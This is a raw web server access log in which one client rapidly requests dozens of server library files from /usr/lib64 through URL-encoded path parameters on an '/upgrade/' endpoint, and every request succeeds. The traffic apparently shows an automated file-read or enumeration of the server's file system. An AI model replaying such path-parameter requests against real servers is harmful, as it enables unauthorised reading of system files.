45.135.193.11 - - [11/Sep/2026:22:55:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-egl.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105893 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-egl.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyaml-0.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161160 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyaml-0.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:03 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibboost-plesk-1.84 HTTP/1.1" 200 6497 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibboost-plesk-1.84" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXi.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXi.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.la&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104235 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.la&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdav1d.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 787578 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdav1d.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstbase-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 344486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstbase-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1397032 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-glx.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbcommon.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 228397 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbcommon.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickCore-6.Q16.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1276112 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickCore-6.Q16.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcollection.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128412 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcollection.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpgme.so.11&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 265256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpgme.so.11&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblqr-1.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblqr-1.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_web.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 347010 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_web.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstemmer.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 191362 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstemmer.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteamdctl.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113808 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteamdctl.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so.3.1.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 208921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so.3.1.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:10 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibcanberra-0.30 HTTP/1.1" 200 6338 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibcanberra-0.30" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libnettle.so.8.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103970 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libnettle.so.8.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_loop.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109009 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_loop.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc-client.so.2007&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 608094 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc-client.so.2007&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblcms2.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 282646 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblcms2.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsx.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109110 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyajl.so.2.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyajl.so.2.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-common.so.3.5.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127126 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-common.so.3.5.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_mdraid.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116011 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_mdraid.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so.2.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 317607 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibext2fs.so.2.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355803 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-subset.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-3.so.0.2404.27&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 3429615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-3.so.0.2404.27&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcprofile.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcprofile.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsasl2.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsasl2.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlb.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 190088 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlb.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra-2.1.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172993 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_extra-2.1.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstnet-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148455 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstnet-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 237969 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslapi.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtirpc.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 192304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtirpc.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153476 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibacl.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibacl.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so.1.0.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 350517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlienc.so.1.0.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 158691 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdaemon.so.0.5.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115362 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdaemon.so.0.5.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibev.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibev.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 914924 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgio-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibostree-1.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 627499 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibostree-1.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcap.so.1.10.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 240065 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcap.so.1.10.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL_mesa.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 237109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL_mesa.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjcat.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140647 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjcat.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-cli-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121182 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-cli-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipeline.so.1.5.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125557 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipeline.so.1.5.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 239654 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgthread-2.0.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsl.so.5.3.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154062 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsl.so.5.3.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse-simple.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse-simple.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
